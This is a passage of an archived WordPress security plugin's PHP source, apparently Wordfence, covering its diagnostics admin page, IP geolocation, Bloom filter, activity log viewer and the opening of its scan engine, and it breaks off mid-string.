class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a> </span> </li> <li> <span> <a href="<?php echo wfUtils::siteURLRelative(); ?>?_wfsf=testmem&nonce=<?php echo wp_create_nonce('wp-ajax'); ?>" target="_blank" rel="noopener noreferrer"><?php esc_html_e('Test your WordPress host\'s available memory', 'wordfence'); ?><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a> <a href="<?php echo wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_TEST_MEMORY); ?>" target="_blank" rel="noopener noreferrer" class="wfhelp wf-inline-help"><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a> </span> </li> <li> <span> <?php esc_html_e('Send a test email from this WordPress server to an email address:', 'wordfence'); ?> <a href="<?php echo wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_TEST_EMAIL); ?>" target="_blank" rel="noopener noreferrer" class="wfhelp wf-inline-help"><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a> <input type="text" id="testEmailDest" value="" size="20" maxlength="255" class="wfConfigElem"/> <input class="wf-btn wf-btn-default wf-btn-sm" type="button" value="<?php esc_attr_e('Send Test Email', 'wordfence'); ?>" onclick="WFAD.sendTestEmail(jQuery('#testEmailDest').val());"/> </span> </li> <li> <span> <?php esc_html_e('Send a test activity report email:', 'wordfence'); ?> <a href="<?php echo wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_TEST_ACTIVITY_REPORT); ?>" target="_blank" rel="noopener noreferrer" class="wfhelp wf-inline-help"><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a> <input type="email" id="email_summary_email_address_debug" value="" size="20" maxlength="255" class="wfConfigElem"/> <input class="wf-btn wf-btn-default wf-btn-sm" type="button" value="<?php esc_attr_e('Send Test Activity Report', 'wordfence'); ?>" onclick="WFAD.sendTestActivityReport(jQuery('#email_summary_email_address_debug').val());"/> </span> </li> <li> <span> <?php esc_html_e('Clear all Wordfence Central connection data', 'wordfence'); ?> <a href="<?php echo wfSupportController::esc_supportURL(wfSupportController::ITEM_DIAGNOSTICS_REMOVE_CENTRAL_DATA); ?>" target="_blank" rel="noopener noreferrer" class="wfhelp wf-inline-help"><span class="screen-reader-text"> (<?php esc_html_e('opens in new tab', 'wordfence') ?>)</span></a> <input class="wf-btn wf-btn-default wf-btn-sm" type="button" value="<?php esc_attr_e('Clear All Connection Data', 'wordfence'); ?>" onclick="WFAD.ajax('wordfence_wfcentral_disconnect', { force: true }, function() { WFAD.colorboxModal((self.isSmallScreen ? '300px' : '400px'), <?php echo esc_attr(json_encode(__('Successfully removed data', 'wordfence'))) ?>, <?php echo esc_attr(json_encode(__('All associated Wordfence Central connection data has been cleared.', 'wordfence'))) ?>); });"/> <input class="wf-btn wf-btn-default wf-btn-sm" type="button" value="<?php esc_attr_e('Clear Local Connection Data', 'wordfence'); ?>" onclick="WFAD.ajax('wordfence_wfcentral_disconnect', { local: true }, function() { WFAD.colorboxModal((self.isSmallScreen ? '300px' : '400px'), <?php echo esc_attr(json_encode(__('Successfully removed data', 'wordfence'))) ?>, <?php echo esc_attr(json_encode(__('All associated Wordfence Central connection data has been removed from the local database.', 'wordfence'))) ?>); });"/> </span> </li> </ul> </div> </div> <div class="wf-block<?php echo(wfPersistenceController::shared()->isActive('wf-diagnostics-debugging-options') ? ' wf-active' : '') ?>" data-persistence-key="<?php echo esc_attr('wf-diagnostics-debugging-options') ?>"> <div class="wf-block-header"> <div class="wf-block-header-content"> <div class="wf-block-title"> <strong><?php esc_html_e('Debugging Options', 'wordfence') ?></strong> </div> <div class="wf-block-header-action"> <div class="wf-block-header-action-disclosure" role="checkbox" aria-checked="<?php echo (wfPersistenceController::shared()->isActive('wf-diagnostics-debugging-options') ? 'true' : 'false'); ?>" tabindex="0"></div> </div> </div> </div> <div class="wf-block-content wf-clearfix"> <form action="#" id="wfDebuggingConfigForm"> <ul class="wf-block-list"> <li> <?php echo wfView::create('options/option-toggled', array( 'optionName' => 'debugOn', 'enabledValue' => 1, 'disabledValue' => 0, 'value' => $w->get('debugOn') ? 1 : 0, 'title' => __('Enable debugging mode (increases database load)', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_DIAGNOSTICS_OPTION_DEBUGGING_MODE), ))->render(); ?> </li> <li> <?php echo wfView::create('options/option-toggled', array( 'optionName' => 'startScansRemotely', 'enabledValue' => 1, 'disabledValue' => 0, 'value' => $w->get('startScansRemotely') ? 1 : 0, 'title' => __('Start all scans remotely (Try this if your scans aren\'t starting and your site is publicly accessible)', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_DIAGNOSTICS_OPTION_REMOTE_SCANS), ))->render(); ?> </li> <li> <?php echo wfView::create('options/option-toggled', array( 'optionName' => 'ssl_verify', 'enabledValue' => 1, 'disabledValue' => 0, 'value' => $w->get('ssl_verify') ? 1 : 0, 'title' => __('Enable SSL Verification (Disable this if you are consistently unable to connect to the Wordfence servers.)', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_DIAGNOSTICS_OPTION_SSL_VERIFICATION), ))->render(); ?> </li> <li> <?php echo wfView::create('options/option-toggled', array( 'optionName' => 'avoid_php_input', 'enabledValue' => 1, 'disabledValue' => 0, 'value' => wfWAF::getInstance()->getStorageEngine()->getConfig('avoid_php_input', false) ? 1 : 0, 'title' => __('Disable reading of php://input', 'wordfence'), 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_DIAGNOSTICS_OPTION_DISABLE_PHP_INPUT), ))->render(); ?> </li> <li> <?php echo wfView::create('options/option-toggled', array( 'optionName' => 'wordfenceI18n', 'enabledValue' => 1, 'disabledValue' => 0, 'value' => $w->get('wordfenceI18n') ? 1 : 0, 'title' => 'Enable Wordfence translations', 'helpLink' => wfSupportController::supportURL(wfSupportController::ITEM_DIAGNOSTICS_OPTION_WORDFENCE_TRANSLATIONS), ))->render(); ?> </li> <li> <p> <a id="wf-restore-defaults" class="wf-btn wf-btn-default wf-btn-callout-subtle" href="#" data-restore-defaults-section="<?php echo esc_attr(wfConfig::OPTIONS_TYPE_DIAGNOSTICS); ?>" role="button"><?php esc_html_e('Restore Defaults', 'wordfence'); ?></a> <a id="wf-cancel-changes" class="wf-btn wf-btn-default wf-btn-callout-subtle wf-disabled" href="#" role="button"><?php esc_html_e('Cancel Changes', 'wordfence'); ?></a> <a id="wf-save-changes" class="wf-btn wf-btn-primary wf-btn-callout-subtle wf-disabled" href="#" role="button"><?php esc_html_e('Save Changes', 'wordfence'); ?></a> </p> </li> </ul> </form> </div> </div> </div> <?php endif ?> </div> <div class="wf-scrollTop"> <a href="javascript:void(0);"><i class="wf-ionicons wf-ion-chevron-up"></i></a> </div> <script type="text/x-jquery-template" id="wfTmpl_restoreDefaultsPrompt"> <?php echo wfView::create('common/modal-prompt', array( 'title' => __('Confirm Restore Defaults', 'wordfence'), 'message' => __('Are you sure you want to restore the default Diagnostics settings? This will undo any custom changes you have made to the options on this page.', 'wordfence'), 'primaryButton' => array('id' => 'wf-restore-defaults-prompt-cancel', 'label' => __('Cancel', 'wordfence'), 'link' => '#'), 'secondaryButtons' => array(array('id' => 'wf-restore-defaults-prompt-confirm', 'labelHTML' => wp_kses(/* translators: word order may be reversed as long as HTML remains around "Defaults" */ __('Restore<span class="wf-hidden-xs"> Defaults</span>', 'wordfence'), array('span'=>array('class'=>array()))), 'link' => '#')), ))->render(); ?> </script> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������wfScanFileProperties.php����������������������������������������������������������������������������0000644�����������������00000002107�14720676427�0011372 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class wfScanFileProperties { public $realPath; public $wordpressPath; public $wordpressPathMd5; public $md5; public $shac; public $content; public $known; public $handle; public $safe; public function __construct($realPath, $wordpressPath) { $this->realPath = $realPath; $this->wordpressPath = $wordpressPath; $this->wordpressPathMd5 = md5($wordpressPath); } public function freeContent() { $this->content = null; } public function resetHandle() { if (!$this->handle) return false; if (fseek($this->handle, 0, SEEK_SET) !== 0) return false; return true; } public function releaseHandle() { if ($this->handle) { fclose($this->handle); $this->handle = null; } } public function loadContent() { if (!$this->resetHandle()) return false; $content = fread($this->handle, WORDFENCE_MAX_FILE_SIZE_TO_PROCESS); if ($content === false) return false; $this->content = $content; return true; } public function free() { $this->freeContent(); $this->releaseHandle(); } public function __destruct() { $this->free(); } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������wfIpLocator.php�������������������������������������������������������������������������������������0000644�����������������00000005372�14720676427�0007534 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php require_once __DIR__ . '/../vendor/autoload.php'; require_once __DIR__ . '/wfIpLocation.php'; use Wordfence\MmdbReader\Database; use Wordfence\MmdbReader\Exception\MmdbThrowable; class wfIpLocator { const SOURCE_BUNDLED = 0; const SOURCE_WFLOGS = 1; const DATABASE_FILE_NAME = 'GeoLite2-Country.mmdb'; private static $instances = array(); private $database; private $preferred; private function __construct($database, $preferred) { $this->database = $database; $this->preferred = $preferred; } public function isPreferred() { return $this->preferred; } private static function logError($message) { if (class_exists('wfUtils')) wfUtils::check_and_log_last_error('ip_locator', 'IP Location Error:', $message, 0); } public function locate($ip) { if ($this->database !== null) { try { $record = $this->database->search($ip); if ($record !== null) return new wfIpLocation($record); } catch (MmdbThrowable $t) { self::logError('Failed to locate IP address: ' . $t->getMessage()); } } return null; } public function getCountryCode($ip, $default = '') { $record = $this->locate($ip); if ($record !== null) return $record->getCountryCode(); return $default; } public function getDatabaseVersion() { if ($this->database !== null) { try { return $this->database->getMetadata()->getBuildEpoch(); } catch (MmdbThrowable $t) { self::logError('Failed to retrieve database version: ' . $t->getMessage()); } } return null; } private static function getDatabaseDirectory($source) { switch ($source) { case self::SOURCE_BUNDLED: return WFWAF_LOG_PATH; case self::SOURCE_BUNDLED: default: return __DIR__; } } private static function initializeDatabase($preferredSource, &$isPreferred) { $sources = array(); if ($preferredSource !== self::SOURCE_BUNDLED) $sources[] = $preferredSource; $sources[] = self::SOURCE_BUNDLED; $isPreferred = true; foreach ($sources as $source) { $directory = self::getDatabaseDirectory($source); try { $path = $directory . '/' . self::DATABASE_FILE_NAME; if (file_exists($path)) //Preemptive check to prevent warnings return Database::open($path); } catch (MmdbThrowable $t) { self::logError('Failed to initialize IP location database: ' . $t->getMessage()); } $preferred = false; } return null; } public static function getInstance($preferredSource = null) { if ($preferredSource === null) $preferredSource = self::SOURCE_WFLOGS; if (!array_key_exists($preferredSource, self::$instances)) { $database = self::initializeDatabase($preferredSource, $isPreferred); self::$instances[$preferredSource] = new wfIpLocator($database, $isPreferred); } return self::$instances[$preferredSource]; } }����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������wfMD5BloomFilter.php��������������������������������������������������������������������������������0000644�����������������00000012317�14720676427�0010361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* Copyright (c) 2012, Da Xue All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. The name of the author nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY DA XUE ''AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL DA XUE BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* https://github.com/dsx724/php-bloom-filter */ // Modified for PHP 5.2 compatibility and to support serialization. class wfMD5BloomFilter { private static function merge($bf1,$bf2,$bfout,$union = false){ if ($bf1->m != $bf2->m) throw new Exception('Unable to merge due to vector difference.'); if ($bf1->k != $bf2->k) throw new Exception('Unable to merge due to hash count difference.'); $length = strlen($bfout->bit_array); if ($union){ $bfout->bit_array = $bf1->bit_array | $bf2->bit_array; $bfout->n = $bf1->n + $bf2->n; } else { $bfout->bit_array = $bf1->bit_array & $bf2->bit_array; $bfout->n = abs($bf1->n - $bf2->n); } } public static function createFromProbability($n, $p){ if ($p <= 0 || $p >= 1) throw new Exception('Invalid false positive rate requested.'); if ($n <= 0) throw new Exception('Invalid capacity requested.'); $k = floor(log(1/$p,2)); $m = pow(2,ceil(log(-$n*log($p)/pow(log(2),2),2))); //approximate estimator method return new self($m,$k); } public static function getUnion($bf1,$bf2){ $bf = new self($bf1->m,$bf1->k,$bf1->hash); self::merge($bf1,$bf2,$bf,true); return $bf; } public static function getIntersection($bf1,$bf2){ $bf = new self($bf1->m,$bf1->k,$bf1->hash); self::merge($bf1,$bf2,$bf,false); return $bf; } private $n = 0; // # of entries private $m; // # of bits in array private $k; // # of hash functions private $k2; private $mask; private $bit_array; // data structure public function __construct($m, $k){ if ($m < 8) throw new Exception('The bit array length must be at least 8 bits.'); if (($m & ($m - 1)) !== 0) throw new Exception('The bit array length must be power of 2.'); if ($m > 65536) throw new Exception('The maximum data structure size is 8KB.'); if ($k > 8) throw new Exception('The maximum bits to set is 8.'); $this->m = $m; $this->k = $k; $this->k2 = $k * 2; $address_bits = (int)log($m,2); $this->mask = (1 << $address_bits) - 8; $this->bit_array = (binary)(str_repeat("\0",$this->getArraySize(true))); } public function __sleep() { return array('n', 'm', 'k', 'k2', 'mask', 'bit_array'); } public function calculateProbability($n = 0){ return pow(1-pow(1-1/$this->m,$this->k*($n ? $n : $this->n)),$this->k); } public function calculateCapacity($p){ return floor($this->m*log(2)/log($p,1-pow(1-1/$this->m,$this->m*log(2)))); } public function getElementCount(){ return $this->n; } public function getArraySize($bytes = false){ return $this->m >> ($bytes ? 3 : 0); } public function getHashCount(){ return $this->k; } public function getInfo($p = null){ $units = array('','K','M','G','T','P','E','Z','Y'); $M = $this->getArraySize(true); $magnitude = intval(floor(log($M,1024))); $unit = $units[$magnitude]; $M /= pow(1024,$magnitude); return 'Allocated '.$this->getArraySize().' bits ('.$M.' '.$unit.'Bytes)'.PHP_EOL. 'Using '.$this->getHashCount(). ' (16b) hashes'.PHP_EOL. 'Contains '.$this->getElementCount().' elements'.PHP_EOL. (isset($p) ? 'Capacity of '.number_format($this->calculateCapacity($p)).' (p='.$p.')'.PHP_EOL : ''); } public function add($key){ $hash = md5($key,true); for ($index = 0; $index < $this->k2; $index++){ $hash_sub = (ord($hash[$index++]) << 8) | ord($hash[$index]); $word = ($hash_sub & $this->mask) >> 3; $this->bit_array[$word] = $this->bit_array[$word] | chr(1 << ($hash_sub & 7)); } $this->n++; } public function contains($key){ $hash = md5($key,true); for ($index = 0; $index < $this->k2; $index++){ $hash_sub = (ord($hash[$index++]) << 8) | ord($hash[$index]); if ((ord($this->bit_array[($hash_sub & $this->mask) >> 3]) & (1 << ($hash_sub & 7))) === 0) return false; } return true; } public function unionWith($bf){ self::merge($this,$bf,$this,true); } public function intersectWith($bf){ self::merge($this,$bf,$this,false); } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������viewFullActivityLog.php�����������������������������������������������������������������������������0000644�����������������00000002735�14720676427�0011257 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if (!defined('WORDFENCE_VERSION')) { exit; } ?> <?php if(! wfUtils::isAdmin()){ exit(); } ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel='stylesheet' id='wordfence-main-style-css' href='<?php echo wfUtils::getBaseURL() . wfUtils::versionedAsset('css/fullLog.css'); ?>?ver=<?php echo WORDFENCE_VERSION; ?>' type='text/css' media='all' /> <style type="text/css"> </style> </head> <body> <h1><?php esc_html_e('Wordfence Full Activity Log', 'wordfence') ?></h1> <?php $db = new wfDB(); global $wpdb; $debugOn = wfConfig::get('debugOn', 0); $table = wfDB::networkTable('wfStatus'); $offset = 0; $timeOffset = 3600 * get_option('gmt_offset'); $q = $db->querySelect("SELECT ctime, level, type, msg FROM {$table} ORDER BY ctime DESC LIMIT %d, 100", $offset); while (is_array($q) && count($q) > 0) { foreach($q as $r){ if($r['level'] < 4 || $debugOn){ echo '<div' . ($r['type'] == 'error' ? ' class="error"' : '') . '>[' . date('M d H:i:s', (int) $r['ctime'] + $timeOffset) . ':' . $r['ctime'] . ':' . $r['level'] . ':' . $r['type'] . '] ' . esc_html($r['msg']) . "</div>\n"; } } $offset += count($q); $q = $db->querySelect("SELECT ctime, level, type, msg FROM {$table} ORDER BY ctime DESC LIMIT %d, 100", $offset); } ?> </body> </html> <?php exit(0); ?>�����������������������������������wfScanEngine.php������������������������������������������������������������������������������������0000644�����������������00000412003�14720676427�0007643 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php require_once(__DIR__ . '/wordfenceClass.php'); require_once(__DIR__ . '/wordfenceHash.php'); require_once(__DIR__ . '/wfAPI.php'); require_once(__DIR__ . '/wordfenceScanner.php'); require_once(__DIR__ . '/wfIssues.php'); require_once(__DIR__ . '/wfDB.php'); require_once(__DIR__ . '/wfUtils.php'); require_once(__DIR__ . '/wfFileUtils.php'); require_once(__DIR__ . '/wfScanPath.php'); require_once(__DIR__ . '/wfScanFile.php'); require_once(__DIR__ . '/wfScanFileListItem.php'); require_once(__DIR__ . '/wfScanEntrypoint.php'); require_once(__DIR__ . '/wfCurlInterceptor.php'); class wfScanEngine { const SCAN_MANUALLY_KILLED = -999; const SCAN_CHECK_INTERVAL = 10; //Seconds private static $scanIsRunning = false; //Indicates that the scan is running in this specific process public $api = false; private $dictWords = array(); private $forkRequested = false; private $lastCheck = 0; //Beginning of serialized properties on sleep /** @var wordfenceHash */ private $hasher = false; private $jobList = array(); private $i = false; private $wp_version = false; private $apiKey = false; private $startTime = 0; public $maxExecTime = false; //If more than $maxExecTime has elapsed since last check, fork a new scan process and continue private $publicScanEnabled = false; private $fileContentsResults = false; /** * @var bool|wordfenceScanner */ private $scanner = false; private $scanQueue = array(); /** * @var bool|wordfenceURLHoover */ private $hoover = false; private $scanData = array(); private $statusIDX = array( 'core' => false, 'plugin' => false, 'theme' => false, 'unknown' => false ); private $userPasswdQueue = ""; private $passwdHasIssues = wfIssues::STATUS_SECURE; private $suspectedFiles = false; //Files found with the ".suspected" extension private $gsbMultisiteBlogOffset = 0; private $updateCheck = false; private $pluginRepoStatus = array(); private $malwarePrefixesHash; private $coreHashesHash; private $scanMode = wfScanner::SCAN_TYPE_STANDARD; private $pluginsCounted = false; private $themesCounted = false; private $cycleStartTime; /** * @var wfScanner */ private $scanController; //Not serialized /** * @var wordfenceDBScanner */ private $dbScanner; /** * @var wfScanKnownFilesLoader */ private $knownFilesLoader; private $metrics = array(); private $checkHowGetIPsRequestTime = 0; /** * Returns whether or not the Wordfence scan is running. When $inThisProcessOnly is true, it returns true only * if the scan is running in this process. Otherwise it returns true if the scan is running at all. * * @param bool $inThisProcessOnly * @return bool */ public static function isScanRunning($inThisProcessOnly = true) { if ($inThisProcessOnly) { return self::$scanIsRunning; } return wfScanner::shared()->isRunning(); } public static function testForFullPathDisclosure($url = null, $filePath = null) { if ($url === null && $filePath === null) { $url = includes_url('rss-functions.php'); $filePath = ABSPATH . WPINC . '/rss-functions.php'; } $response = wp_remote_get($url); $html = wp_remote_retrieve_body($response); return preg_match("/" . preg_quote(realpath($filePath), "/") . "/i", $html); } public static function isDirectoryListingEnabled($url = null) { if ($url === null) { $uploadPaths = wp_upload_dir(); $url = $uploadPaths['baseurl']; } $response = wp_remote_get($url); return !is_wp_error($response) && ($responseBody = wp_remote_retrieve_body($response)) && stripos($responseBody, '<title>Index of') !== false; } public static function refreshScanNotification($issuesInstance = null) { if ($issuesInstance === null) { $issuesInstance = new wfIssues(); } $message = wfConfig::get('lastScanCompleted', false); if ($message === false || empty($message)) { $n = wfNotification::getNotificationForCategory('wfplugin_scan'); if ($n !== null) { $n->markAsRead(); } } else if ($message == 'ok') { $issueCount = $issuesInstance->getIssueCount(); if ($issueCount) { new wfNotification(null, wfNotification::PRIORITY_HIGH_WARNING, "<a href=\"" . wfUtils::wpAdminURL('admin.php?page=WordfenceScan') . "\">" . /* translators: Number of scan results. */ sprintf(_n('%d issue found in most recent scan', '%d issues found in most recent scan', $issueCount, 'wordfence'), $issueCount) . '</a>', 'wfplugin_scan'); } else { $n = wfNotification::getNotificationForCategory('wfplugin_scan'); if ($n !== null) { $n->markAsRead(); } } } else { $failureType = wfConfig::get('lastScanFailureType'); if ($failureType == 'duration') { new wfNotification(null, wfNotification::PRIORITY_HIGH_WARNING, '<a href="' . wfUtils::wpAdminURL('admin.php?page=WordfenceScan') . '">Scan aborted due to duration limit</a>', 'wfplugin_scan'); } else if ($failureType == 'versionchange') { //No need to create a notification } else { $trimmedError = substr($message, 0, 100) . (strlen($message) > 100 ? '...' : ''); new wfNotification(null, wfNotification::PRIORITY_HIGH_WARNING, '<a href="' . wfUtils::wpAdminURL('admin.php?page=WordfenceScan') . '">Scan failed: ' . esc_html($trimmedError) . '</a>', 'wfplugin_scan'); } } } public function __sleep() { //Same order here as above for properties that are included in serialization return array('hasher', 'jobList', 'i', 'wp_version', 'apiKey', 'startTime', 'maxExecTime', 'publicScanEnabled', 'fileContentsResults', 'scanner', 'scanQueue', 'hoover', 'scanData', 'statusIDX', 'userPasswdQueue', 'passwdHasIssues', 'suspectedFiles', 'dbScanner', 'knownFilesLoader', 'metrics', 'checkHowGetIPsRequestTime', 'gsbMultisiteBlogOffset', 'updateCheck', 'pluginRepoStatus', 'malwarePrefixesHash', 'coreHashesHash', 'scanMode', 'pluginsCounted', 'themesCounted'); } public function __construct($malwarePrefixesHash = '', $coreHashesHash = '', $scanMode = wfScanner::SCAN_TYPE_STANDARD) { $this->startTime = time(); $this->recordMetric('scan', 'start', $this->startTime); $this->maxExecTime = self::getMaxExecutionTime(); $this->i = new wfIssues(); $this->cycleStartTime = time(); $this->wp_version = wfUtils::getWPVersion(); $this->apiKey = wfConfig::get('apiKey'); $this->api = new wfAPI($this->apiKey, $this->wp_version); $this->malwarePrefixesHash = $malwarePrefixesHash; $this->coreHashesHash = $coreHashesHash; include(dirname(__FILE__) . '/wfDict.php'); //$dictWords $this->dictWords = $dictWords; $this->scanMode = $scanMode; $this->scanController = new wfScanner($scanMode); $jobs = $this->scanController->jobs(); foreach ($jobs as $job) { if (method_exists($this, 'scan_' . $job . '_init')) { foreach (array('init', 'main', 'finish') as $op) { $this->jobList[] = $job . '_' . $op; } } else if (method_exists($this, 'scan_' . $job)) { $this->jobList[] = $job; } } } public function scanController() { return $this->scanController; } /** * Deletes all new issues. To only delete specific types, provide an array of issue types. * * @param null|array $types */ public function deleteNewIssues($types = null) { $this->i->deleteNew($types); } public function __wakeup() { $this->cycleStartTime = time(); $this->api = new wfAPI($this->apiKey, $this->wp_version); include(dirname(__FILE__) . '/wfDict.php'); //$dictWords $this->dictWords = $dictWords; $this->scanController = new wfScanner($this->scanMode); } public function isFullScan() { return $this->scanMode != wfScanner::SCAN_TYPE_QUICK; } public function go() { self::$scanIsRunning = true; try { self::checkForKill(); $this->doScan(); wfConfig::set('lastScanCompleted', 'ok'); wfConfig::set('lastScanFailureType', false); self::checkForKill(); //updating this scan ID will trigger the scan page to load/reload the results. $this->scanController->recordLastScanTime(); //scan ID only incremented at end of scan to make UI load new results $this->emailNewIssues(); if ($this->isFullScan()) { $this->recordMetric('scan', 'duration', (time() - $this->startTime)); $this->recordMetric('scan', 'memory', wfConfig::get('wfPeakMemory', 0, false)); $this->submitMetrics(); } wfScanEngine::refreshScanNotification($this->i); if (wfCentral::isConnected()) { wfCentral::updateScanStatus(); } self::$scanIsRunning = false; } catch (wfScanEngineDurationLimitException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_DURATION_REACHED); $this->scanController->recordLastScanTime(); $this->emailNewIssues(true); $this->recordMetric('scan', 'duration', (time() - $this->startTime)); $this->recordMetric('scan', 'memory', wfConfig::get('wfPeakMemory', 0, false)); $this->submitMetrics(); wfScanEngine::refreshScanNotification($this->i); self::$scanIsRunning = false; throw $e; } catch (wfScanEngineCoreVersionChangeException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_VERSION_CHANGE); $this->scanController->recordLastScanTime(); $this->recordMetric('scan', 'duration', (time() - $this->startTime)); $this->recordMetric('scan', 'memory', wfConfig::get('wfPeakMemory', 0, false)); $this->submitMetrics(); $this->deleteNewIssues(); wfScanEngine::refreshScanNotification($this->i); self::$scanIsRunning = false; throw $e; } catch (wfScanEngineTestCallbackFailedException $e) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_CALLBACK_TEST_FAILED); $this->scanController->recordLastScanTime(); $this->recordMetric('scan', 'duration', (time() - $this->startTime)); $this->recordMetric('scan', 'memory', wfConfig::get('wfPeakMemory', 0, false)); $this->recordMetric('scan', 'failure', $e->getMessage()); $this->submitMetrics(); wfScanEngine::refreshScanNotification($this->i); self::$scanIsRunning = false; throw $e; } catch (Exception $e) { if ($e->getCode() != wfScanEngine::SCAN_MANUALLY_KILLED) { wfConfig::set('lastScanCompleted', $e->getMessage()); wfConfig::set('lastScanFailureType', wfIssues::SCAN_FAILED_GENERAL); } $this->recordMetric('scan', 'duration', (time() - $this->startTime)); $this->recordMetric('scan', 'memory', wfConfig::get('wfPeakMemory', 0, false)); $this->recordMetric('scan', 'failure', $e->getMessage()); $this->submitMetrics(); wfScanEngine::refreshScanNotification($this->i); self::$scanIsRunning = false; throw $e; } } public function checkForDurationLimit() { static $timeLimit = false; if ($timeLimit === false) { $timeLimit = intval(wfConfig::get('scan_maxDuration')); if ($timeLimit < 1) { $timeLimit = WORDFENCE_DEFAULT_MAX_SCAN_TIME; } } if ((time() - $this->startTime) > $timeLimit) { $error = sprintf( /* translators: 1. Time duration. 2. Support URL. */ __('The scan time limit of %1$s has been exceeded and the scan will be terminated. This limit can be customized on the options page. <a href="%2$s" target="_blank" rel="noopener noreferrer">Get More Information<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfUtils::makeDuration($timeLimit), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_TIME_LIMIT) ); $this->addIssue('timelimit', wfIssues::SEVERITY_HIGH, md5($this->startTime), md5($this->startTime), __('Scan Time Limit Exceeded', 'wordfence'), $error, array()); $this->status(1, 'info', '-------------------'); $this->status(1, 'info', sprintf( /* translators: 1. Number of files. 2. Number of plugins. 3. Number of themes. 4. Number of posts. 5. Number of comments. 6. Number of URLs. 7. Time duration. */ __('Scan interrupted. Scanned %1$d files, %2$d plugins, %3$d themes, %4$d posts, %5$d comments and %6$d URLs in %7$s.', 'wordfence'), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_FILES, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_PLUGINS, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_THEMES, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_POSTS, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_COMMENTS, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_URLS, 0), wfUtils::makeDuration(time() - $this->startTime, true) )); if ($this->i->totalIssues > 0) { $this->status(10, 'info', "SUM_FINAL:" . sprintf( /* translators: Number of scan results. */ _n( "Scan interrupted. You have %d new issue to fix. See below.", "Scan interrupted. You have %d new issues to fix. See below.", $this->i->totalIssues, 'wordfence'), $this->i->totalIssues ) ); } else { $this->status(10, 'info', "SUM_FINAL:" . __('Scan interrupted. No problems found prior to stopping.', 'wordfence')); } throw new wfScanEngineDurationLimitException($error); } } public function checkForCoreVersionChange() { $startVersion = wfConfig::get('wfScanStartVersion'); $currentVersion = wfUtils::getWPVersion(true); if (version_compare($startVersion, $currentVersion) != 0) { throw new wfScanEngineCoreVersionChangeException(sprintf( /* translators: 1. Software version. 2. Software version. */ __('Aborting scan because WordPress updated from version %1$s to %2$s. The scan will be 